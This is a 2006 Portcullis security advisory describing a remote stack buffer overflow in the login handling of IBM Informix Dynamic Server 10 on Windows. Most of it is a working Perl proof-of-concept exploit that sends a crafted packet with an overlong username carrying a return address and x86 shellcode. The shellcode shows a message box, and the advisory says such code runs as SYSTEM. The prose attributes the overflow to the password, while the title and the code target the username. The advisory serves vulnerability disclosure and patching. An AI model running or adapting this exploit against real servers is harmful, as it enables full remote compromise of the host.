Portcullis Security Advisory No 06-008 Informix Username Buffer Overflow Vulnerability
Vulnerable System:
IBM Informix? Dynamic Server (IDS) Express Version: 10.TC3R1E
Other versions: Unknown.
Vulnerability Title:
Informix Dynamic Server Long Username Buffer Overflow Vulnerability
Vulnerability discovery and development:
Portcullis discovered this issue whilst conducting research. This vulnerability appears similar to one previously discovered by Next Generation Security Software (NGS) however reviews of vulnerability databases and following discussions with the vendor this could not be confirmed.
Affected systems:
The vulnerability has been verified against a system running on a Windows 2000 platform.
Vulnerability Details:
Portcullis discovered that sending a 1380 byte long password causes a stack overflow in the Informix IDS service.
Here is an example of the request packet required to reach the vulnerable function:
qw(
HL LL 01 3c 00 00 00 64 00 65
00 00 00 3d 00 06 49 45 45 45 4d 00 00 6c 73 71
6c 65 78 65 63 00 00 00 00 00 00 06 39 2e 32 38
30 00 00 0c 52 44 53 23 52 30 30 30 30 30 30 00
00 05 73 71 6c 69 00 00 00 01 33 00 00 00 00 00
00 00 00 00 01 00 UL
),
to_hex_array($username),
qw(
00 PL
),
to_hex_array($password),
qw(
6f 6c 00 00 00
00 00 00 00 00 00 3d 74 6c 69 74 63 70 00 00 00
00 00 01 00 68 00 0b 00 00 00 03 00 05 56 49 53
31 00 00 00 00 00 00 00 00 00 00 00 00 6a 00 0b
00 09 4c 4f 43 4b 44 4f 57 4e 00 00 03 6e 6f 00
00 07 44 42 44 41 54 45 00 00 06 59 34 4d 44 2d
00 00 0c 53 49 4e 47 4c 45 4c 45 56 45 4c 00 00
03 6e 6f 00 00 09 4e 4f 44 45 46 44 41 43 00 00
03 6e 6f 00 00 06 53 4b 41 4c 4c 00 00 02 30 00
00 09 4c 4b 4e 4f 54 49 46 59 00 00 04 79 65 73
00 00 07 53 4b 53 48 4f 57 00 00 02 30 00 00 0c
49 46 58 5f 55 50 44 44 45 53 43 00 00 02 31 00
00 07 44 42 50 41 54 48 00 00 02 2e 00 00 0e 43
4c 49 45 4e 54 5f 4c 4f 43 41 4c 45 00 00 0d 65
6e 5f 55 53 2e 38 38 35 39 2d 31 00 00 0a 53 4b
49 4e 48 49 42 49 54 00 00 02 30 00 00 7f
)
);
"\x63\xee\xfd\x74" #jmp address
"\xb8\x78\x56\x34\x12\x35\xd3\x51\x34\x12\x2b\xe0". #fix the stack for later use.
Impact:
Remote code execution in the context of the account the service is running under, typically SYSTEM leading to a complete compromise of the affected host.
Proof of Concept Code:
#!/usr/bin/perl -w
use strict;
#use Encode;
use IO::Socket::INET;
# Default variables
my $target_port = 1526;
my $debug = 0;
my $quiet = 0;
my $usage =(Less than Less than) USAGE;
Informix prober
$0 host[:port] username password
Where:
host hostname or ip of informix server
port listening port number (default: $target_port)
debug 1 or 0 for on or off (default: $debug);
USAGE
$| = 1;
# Argument processing
my $target_host = shift or die $usage;
if ($target_host =~ /^(\S+):(\d+)$/) {
$target_host = $1;
$target_port = $2;
}
#my $username = Encode::decode_utf8(shift) or die $usage;
#my $password = Encode::decode_utf8(shift) or die $usage;
my $username = "A" x 967;
$username .=
"\x63\xee\xfd\x74". #g2Bg
"\xb8\x78\x56\x34\x12\x35\xd3\x51\x34\x12\x2b\xe0".
#\x83\xEC\x77
"\x8B\xEC".
"\x90\x90\x90\x90\x90".
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb".
"\xcf\x05\x4f\x7c".
"\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb".
"\xa9\xe6\x4e\x7c".
"\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51".
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff".
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff".
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff".
"\xff\x4f\x6d\x65\x67\x61\x37\x4e";
# 416-256
$username .= "A" x 350;
#shift or die $usage;
my $password = shift or die $usage;
$debug = shift || $debug;
$username .= "\x00";
$password .= "\x00";
# Lots of hardcoded packet data
my @packet1 = (
qw(
HL LL 01 3c 00 00 00 64 00 65
00 00 00 3d 00 06 49 45 45 45 4d 00 00 6c 73 71
6c 65 78 65 63 00 00 00 00 00 00 06 39 2e 32 38
30 00 00 0c 52 44 53 23 52 30 30 30 30 30 30 00
00 05 73 71 6c 69 00 00 00 01 33 00 00 00 00 00
00 00 00 00 01 00 UL
),
to_hex_array($username),
qw(
00 PL
),
to_hex_array($password),
qw(
6f 6c 00 00 00
00 00 00 00 00 00 3d 74 6c 69 74 63 70 00 00 00
00 00 01 00 68 00 0b 00 00 00 03 00 05 56 49 53
31 00 00 00 00 00 00 00 00 00 00 00 00 6a 00 0b
00 09 4c 4f 43 4b 44 4f 57 4e 00 00 03 6e 6f 00
00 07 44 42 44 41 54 45 00 00 06 59 34 4d 44 2d
00 00 0c 53 49 4e 47 4c 45 4c 45 56 45 4c 00 00
03 6e 6f 00 00 09 4e 4f 44 45 46 44 41 43 00 00
03 6e 6f 00 00 06 53 4b 41 4c 4c 00 00 02 30 00
00 09 4c 4b 4e 4f 54 49 46 59 00 00 04 79 65 73
00 00 07 53 4b 53 48 4f 57 00 00 02 30 00 00 0c
49 46 58 5f 55 50 44 44 45 53 43 00 00 02 31 00
00 07 44 42 50 41 54 48 00 00 02 2e 00 00 0e 43
4c 49 45 4e 54 5f 4c 4f 43 41 4c 45 00 00 0d 65
6e 5f 55 53 2e 38 38 35 39 2d 31 00 00 0a 53 4b
49 4e 48 49 42 49 54 00 00 02 30 00 00 7f
)
);
$packet1[79] = sprintf("%02x", int(length($username) / 256)); # length of username MSB
$packet1[80] = sprintf("%02x", length($username) % 256); # length of username LSB
$packet1[80+length($username)+1] = sprintf("%02x", int(length($password) / 256)); # length of password MSB
$packet1[80+length($username)+2] = sprintf("%02x", length($password) % 256); # length of password LSB
$packet1[0] = sprintf("%02x", int((scalar(@packet1)) / 256)); # length of packet MSB
$packet1[1] = sprintf("%02x", (scalar(@packet1)) % 256); # length of packet LSB
printf "Length: total %s %s, username %s %s, password %s %s\n", $packet1[0], $packet1[1], $packet1[79], $packet1[80], $packet1[80+length($username)+1], $packet1[80+length($username)+2];
# my $packet1 = Encode::decode_utf8(join "", map { chr(hex($_)) } @packet1);
my $packet1 = join "", map { chr(hex($_)) } @packet1;
# Connect to server
print "==========================\n" if $debug;
print "Connecting to $target_host:$target_port\n" if $debug;
my $sock = IO::Socket::INET->new(PeerAddr => $target_host,
PeerPort => $target_port,
Proto => 'tcp')
or die "ERROR: Can't connect to $target_host:$target_port: $!\n";
#binmode $sock, ":utf8";
#binmode STDOUT, ":utf8";
# Send request to connect to SID
printf "Sending %d byte request...\n", length($packet1) if $debug;
print $sock $packet1;
my $response;
$sock->recv($response, 1500);
printf "Got %d byte reply\n", length($response) if $debug;
print "$response\n" if $debug;
sub to_hex_array {
my $string = shift;
my @chars = split("", $string);
return map { sprintf("%02x", ord($_)) } @chars;
}
Vendor Status:
Vendor Notified via email 22 February 2006 (ibm_crc_uk@vnet.ibm.com; ifmxsup@uk.ibm.com)
Vendor Response 7th March 2006: This note is to confirm Portcullis Security Advisory 06-008 has been fixed in Informix Dynamic Server (IDS) 10.00.TC4W3, scheduled for release on March 9th 2006.
The fix will also be in IDS 9.40.TC8W1 scheduled for release on April 7th 2006.
Disclosure Policy:
Portcullis' Disclosure Policy can be viewed here.
Copyright:
Copyright © Portcullis Computer Security Limited 2006, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
